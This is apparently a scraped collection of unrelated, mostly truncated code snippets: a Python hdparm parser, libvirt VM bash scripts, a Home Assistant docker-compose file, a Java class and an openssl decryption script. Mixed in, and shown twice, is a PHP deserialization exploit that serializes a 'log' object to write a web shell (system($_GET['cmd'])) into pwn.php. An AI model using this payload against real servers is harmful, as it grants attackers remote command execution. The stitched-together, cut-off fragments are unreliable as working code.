Script to create serialized string:
<?php
include 'log.php';
$o = new log;
$o->logs = './pwn.php';
$o->request = '<?php system($_GET[\'cmd\']); ?>';
$s = serialize($o);
#!/usr/bin/env python3 | |
# usage: hdparm -C /dev/sd[a-d] | ./sleepstate.py | |
import sys | |
hdparm_output = sys.stdin.read() | |
lines = list(filter(lambda line: line, hdparm_output.splitlines())) | |
drives = [lines[i : i + 2] for i in range(0, len(lines), 2)] |
#!/bin/bash | |
# this is basically https://sumit-ghosh.com/articles/create-vm-using-libvirt-cloud-images-cloud-init/ | |
# as a script | |
set -x | |
set -e | |
if [ $# -eq "0" ]; then | |
echo "Usage: $0 INSTANCE_NAME" |
Script to create serialized string:
<?php
include 'log.php';
$o = new log;
$o->logs = './pwn.php';
$o->request = '<?php system($_GET[\'cmd\']); ?>';
$s = serialize($o);
version: '3' | |
services: | |
home-assistant: | |
image: homeassistant/home-assistant | |
volumes: | |
- ./data/home-assistant:/config | |
- /etc/localtime:/etc/localtime:ro | |
restart: always | |
network_mode: host | |
configurator: |
package a4; | |
import java.util.ArrayList; | |
import java.util.Collection; | |
import java.util.HashSet; | |
import thingy.Item; | |
public class CollectorC implements Collector_I { | |
private ArrayList<Item> input; |
#!/bin/sh | |
# decrypt the key | |
openssl rsautl -decrypt -inkey rsa.key -in keyfile_crypted -out keyfile | |
# use the key to decrypt the data | |
openssl aes-256-cbc -d -in encrypted.txt -out plain_decrypted.txt -pass file:keyfile | |
rm keyfile |
#!/bin/bash | |
function usage() { | |
echo "Usage: $0 NEW-NAME" | |
} | |
BASEVM_NAME=base-debian7 | |
BASEVM_HDD=${BASEVM_NAME}-sda | |
NEWVM_NAME=$1 |